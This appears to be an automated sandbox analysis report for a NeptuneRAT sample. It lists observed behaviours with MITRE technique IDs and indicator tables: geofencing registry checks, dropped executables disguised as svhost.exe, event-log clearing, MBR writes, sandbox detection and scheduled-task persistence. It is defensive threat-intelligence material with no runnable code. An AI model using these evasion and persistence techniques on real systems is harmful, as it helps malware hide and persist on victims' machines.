neptunerat | c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000\Control Panel\International\Geo\Nation	Bypassed.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000\Control Panel\International\Geo\Nation	c4550f14-4589-478b-8945-becab1d3b510.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000\Control Panel\International\Geo\Nation	svhost.exe

Executes dropped EXE 5 IoCs

pid	Process
4352	c4550f14-4589-478b-8945-becab1d3b510.exe
4160	svhost.exe
1976	svhost.exe
116	avf4xgfv.szk.exe
2868	svhost.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\D:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	svchost.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\svhost.exe	c4550f14-4589-478b-8945-becab1d3b510.exe
File opened for modification	C:\Windows\svhost.exe	c4550f14-4589-478b-8945-becab1d3b510.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 63 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "001840199129913B"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 05 Aug 2026 22:30:13 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000bfc1a1980e1ea6439bb1597ef8c8b8b70000000002000000000010660000000100002000000083da008ab77890b0780632ef27797964b1c718f298e666eda6be24906553f950000000000e8000000002000020000000ab20576437820d8e4b9dff015afd4f92de09d75dadd72370ef6f9a1349de7ef8000c0000740efa426f084ce5beffed5129265d38e68b3cf51b517c39145457f7725eee7e3937c560460c39f367ed31db15a7ab358833af7338228d5297aca1018d6205e22146b8f1fe2784aa69c73d376d0c0b6400af24b18020eaf332e000ef52880acd88fc9b6cd2feeba885a14fcc123be52533c0df8d2fb38eb865ff7d7d6410b14599fe1a34f258323c9ce778fa70af9b6803273454eb1aa178159b4109227995a9f8c52588de909680dada5931bc29b31b15965c2e90f085a1e37924bb99d0fc34d67317c43c6f15fa90185c4495a106e5eea53bfb2234370db29a86a9162b83569811578261670f792d86c0aed820769ddbb1c8e80e3baed0f495a1745b7b27ffdb70af82b2868844f4eaf2ff9e09ddfcd51bcb16db7ab0981677e4a8c97d6532eb681f7c062f92d9db76265f0373e1344f2c6d34837e514a92cf96dfcc8952be667ca6f95934a3f2454aefad45185ff23203ad27d347751610fec514bbf5a638b3c972d9eaa88f2b43800c221c760aa2484980fd1dab120404dae6919f83d81cf6bbb594df84af0c4dec7109196a4dfc281fdfe514115365a8eb0b5255064443491a6b2e0009a0ae9d87dd6a0099d4ef16d01c528b57bca52c40eccaacdf726ebb0445979246c60dfc21c360da0cad040342e2ee2eb94d5511f97d1de169019c5ecc0172dc4e860017693b7cc54b5aee06fd1a87a3302994d0847cee250271a28d0d21ecee9edddc22709b86f9c85744e21b37907b76c2d7cc5ef0e1e27aa3f18be2c04a95c460ece0605f184729bbed49ece9486547220fa4af4927fbd81c0470ecb893303ff9673970c6020cf16ce0e86fae381bda9d22e3e9d5a95fb24c9cfad042066739e349213d9367577df8a1f7dffb70cbd325a2619ec3d62e7a1cb04cc095a9f5622a1b412fd7fe379a1abdbb098fc104b26a7d12fb6a403b407771c87a34a13b19a2d3c3025b545acc86f17a76c49c0736a3d1a306c01e3080caab586b511a19bac0242eaf0cd68f33a6571197345eca5d9a74a64bd13d1eb72754a7ac804f0252a418417778a80c235826a50ab4b39d6cc47e1be0ae133793cdebb1e41bd70b71782036fa2bc1b88d703d95dc6374c37484cc1b13cf0ca70edd7b2f0f1fa3b294612128d3e99996651dfafa25bc6cecbfe435c654328f36bc93fa008017053e619934506898691c287b621572f03dfae77e23e8bb22147c7cd18a903582027374291a0e604079b60c485b091b3f0d0dd9bdb697a82c433f59c42fa43dff85898bc1bea20eda12667de6fd35cefd96ce386502baeb39098a284d2c0eb2ff32bb14b8d66bae1b7ca3b1dd2a6a89e95498ff79397475e5476bf77497b97fc4ca31f202aaafeb8fa24e99de4df6a6a0013bc3e21839e1036c7199dcb7b0923c1da0d47b0effef11e6e2ea8639f484aefd024e15320f4d1002f025d2e5c787546f8e07dcfee6e5fb1775e8569db20549c2143d62718c2433c52a2a9e322c3ffeac260578ca60f7efd9eb75dd8ea26bb17686f0c25a0e371e252c665546fd31ac692c70890d652bae7ecdc0879963a327174f8c1fdb0a59bf0624717c4235a3ded96cc4a36240a4eb9f589f348c14078841d7658aad3cd7b01f13edf35297843177cc16435da7af68ec9aff3139cec2d84e17b00ba5fca7556aa75c8fc7fb2fc9d5cbfe5e017c4a6c7d9776e8ccdf745ab4696ea8931fb842c4b332645dd8f03d3c3bbae9ff695ba2612a6b4010fc6c07a14abd79c9d415d1b2615d4152f6bfc10e8b7e82d9e2f34248b26ad5d77cf98a149558ffb34f0acd0e01d6510b7eb32b2a1cd140986b3dd43ac8fb8c258f7d152ea95e53cea580c9e119a7ea63f2d1d4a307c27b4b0d2a36844bcbfb64b9bb1e9b8c8313a644e0cd2e356278852c15ff8360092e41ee4df781891476ce3fca2b64ec7cb692bc1f2d0f462a84f28220eac0b8daa2a5c6839cc177fb526d92ea44c263f2ae6e04200d0d65f6ce66059dd8bd8d0cc0d513a5e8b34074a535c3aac6275439c25f6eebd0f94e17be5de177db66932f1b5b59946aac53de739f321ccb2cd399cf43612a044fedb6bf560cc6b09766487758df66124ca39cdcf6ab4b190d80acde631cd494d487e44683a797720af2d582553b5c9d9073fb5546959efe9b9bc7a697596b53b104969f0d52b33ed45f19489cdabc2654dd7e00b28abc753c9401bcf89248da3aec16990c201eaf64cabae9e9f491a3ef05dbb7212943fd028a02c221f9a72161ddea6d2053379e34ad0b8fde68ba6621b4cb97138147980ad4a3c9870a844c31340ac7fcd0eeb280143657d7200f5030d586b886832ccfc6c1c345c10ccb76ac5be28b9a8898d61f6346e7e822a42723c8ac691293cc7489bf0534bcc9683c484e8c4d75d174de3a26b3eddeaa88356d27298e38682ba9b56f5935e88f8605d1bd75b938a0dd274c2b23385bb8faa993e3321657cb0e6f0a0a0f06d68bf4cd08e287224f9c4a0b8c50a92999b2cf3602631e707e1dc2b901f8b0f483ae97f2268cd46822d9768f0237c146d1b2b9afb2317a10c6e232e8add6fa5aa3e94c17e58cfbc6324fba6ff40909afc73a5a3515c5f5fe2ba445275fb7087c2fc984ab185760729aa8bf0ceec00686306c3747f77fab0de0a8e8503af93543b1ff4d63095281590dc127da7fdf43389e10368f06c075fca0142af46cacc034c76bfe1ccaede5df7e90de7dc69128f94aae51caf675ef412d651cf7ece0a398f8ed13a5d8615f80e7ce40c43ca6ba54a952ec798d0e29d2e2de0f9603040af82895dcbfbce6fca3bac3b789c17ea44f224486352cf7f0d3d025bf16c1c8ebbfb19bc747a6e7ea946a5235b6336730400bdf0ee301ab8859f02ef3672ed4fe5bd2888b61e4f05cb56706d337200d3a83e99bac61e6a1ae3be023827ebd78da5b382ea1b72e15b63b71a6d9464a74d3d1e4a84fde025aae514768a60b7803a82d0083e48534992a4666d87ff8d50e25dcefd729268ed8e4cdd70ffed27bb2f15c7149388ef583b31f83442699ad58b39973291c7a3551eb11460055f98d7283297b1d6523d577d3eb387e0183ce1be2a4a2c167b4fbab56829b2069dbd4c6065200037735e6d52e4a3164b0d5f664c804734604eae0c30f2b89f1cbd160a67a717f614d17ae5e825d37d1e414e668ec73f61a16a08d404a3e89eef04ca7966448c3b0b3ba6ab808d0ca562af197650ed92d7491f6f7804f235bcd65429ce1b1a8875cf6686364e39c79ae96222c9cb4248e3705b521ba287433697fae7bf21689dfd4e25d599eab33b9814288684d04ea216f5129a990985772d3f61836830470715d5dddd44600d673d906c44a222e6d6a1c7024f4920550aa0562d452e8d462495a8e2d49c33d689752c3e68df613120fd772b4dd687c260ab53cb6e5805bde512473a95ebba48e9d3f4c1e50a01cbb9ad3961591501df0558c4a0c272f868b61d70373324d988e5d532f1d687203b840cc0d34d8ab3f91ded10ce8debff652e161cb2211d743218b70e1ffa49ccb754b8e3cfa0e9c2ca28f002fa8eea4a75ba77a25560ca0bfc3b8ea007521e88b0799680b0914aacd3dae5d79e47329c32b6f12916df1e8f17a74f83fd06d37c1fc57240dcaa9ca4f553761d53fb664fdd43851d0f26e82d5ffe7df0369eb1522552dbe7811a278e78f38e27a409f5744179ebc415b866e417b7fe72c33a32cf5865e847e94b658292e20ef82d33e5912f5bdc205ee8b22c0608561dce5dd4617bfd98c946d273e4e80a54c1cf12c949a97df0ccdc2dde612347b0f227b51eeecca28df6b954dca5d40bf2e2c2be99be0ffb9e227040ce3775096d446c035cf6f59b92b9e45d913380284f67f6b8af950fd6b99bd367a3ddde4924aa16209eba796ae942c23480cf14eba37bf4838a80da627648462c7a26c91b0cdacfecf74b1e69d6f772a94727d3f0ef09f4925baf89fcd35ef2aa1c2b05f512bd8a193fb5507d4e3cb936271257daac6c4e3964e37e348dd126f7a44a73665a933153f61f92a9e15d11aa50829166c64b71d9bcb3af823c678dbebc1a9704b81a241e085dd195f4f8e3585d254ef01b446acbf9a90db5b1582d538fcb26d2c77507f6aa6648555cf6f5ad19b6089e8596a317e58339e46e0d87f6c72ce5337dbdb6d57aaf70dc37dc8ddcf35881bdd2cea0d2291792e768001ec5e63712e98933f618245bced94995a1d108d344a069bfb2df8a673be834351913603bcf8ad66dfeedb047b91329ab023e7c893515ec2a3fbccf74a9e1edea36b9be73b9004d5024fbe2d0a5489373428b6a279ef8fd953a21d81382194b9142b93cc90933140000000cdfab687bd0da7ab2fcd6fd5f63d4bed2d64860fa630eff97dd1ae1f6b2f1f2b27476effeef0844ea97bd3a4095df9f02f3fad4fcbeab73f31456b208c49b271	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "577889346,5804129,17110992,7202269,9179409,24262478,41484365,17110988,7153487,508368333,17962391,17962392,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,7202265,507286179,41816131,20502174,6308191,18407617,39125643,539756558,504928405,504928410,24262477,25036127,24262473,9179410,6104718,9179411,51475283,41185282,39389248,539756557,528570079"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\001840199129913B = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000bfc1a1980e1ea6439bb1597ef8c8b8b700000000020000000000106600000001000020000000cc31b1770bac9e6bda40ee28e1531698a7cc280f5d3dd99962a414ac1ca05598000000000e80000000020000200000001526edc99389eb7ab13c1877a23affbd834fa9cd0e5682055418890d1e0a284a80000000042be8e5050c4495be4b7bbf3936653c92d139b1248026ad5f940c229fc3f060cd2d61ea16acad3030434da276678075a9675aa689240fb1a9e04d3661fbfd7b3ae015ac5a09e2fe6a0faa20abace1609a341f3dec5508670bd347a899a11e24b470a4b8294f2bd6de9a94a1a929f5c7696454b60adf0fb8ca8c732df929872740000000f3b99999d70927e9474b703f442adca898aab9d29289ee1754826ec3915b822483661f08870f993c7121a7233b0ab0765094d91a3026212475f77cfe3c71d906	mousocoreworker.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1785978198"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001840199129913B"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={8284E3CF-EA52-42DB-82A6-B6AC60AADC07}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,944 15,943 6,1329 15,1329 100,1329 6,943 10,943 15,944 6,940 50,941 15,941 10,941 6,942 15,942 10,942 6,944 100,944 10,944 50,940 6,940 100,940 10,940 15"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1944	SCHTASKS.exe
2312	schtasks.exe
5088	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5068	powershell.exe
5068	powershell.exe
2852	powershell.exe
2852	powershell.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
4892	powershell.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
4892	powershell.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
4892	powershell.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
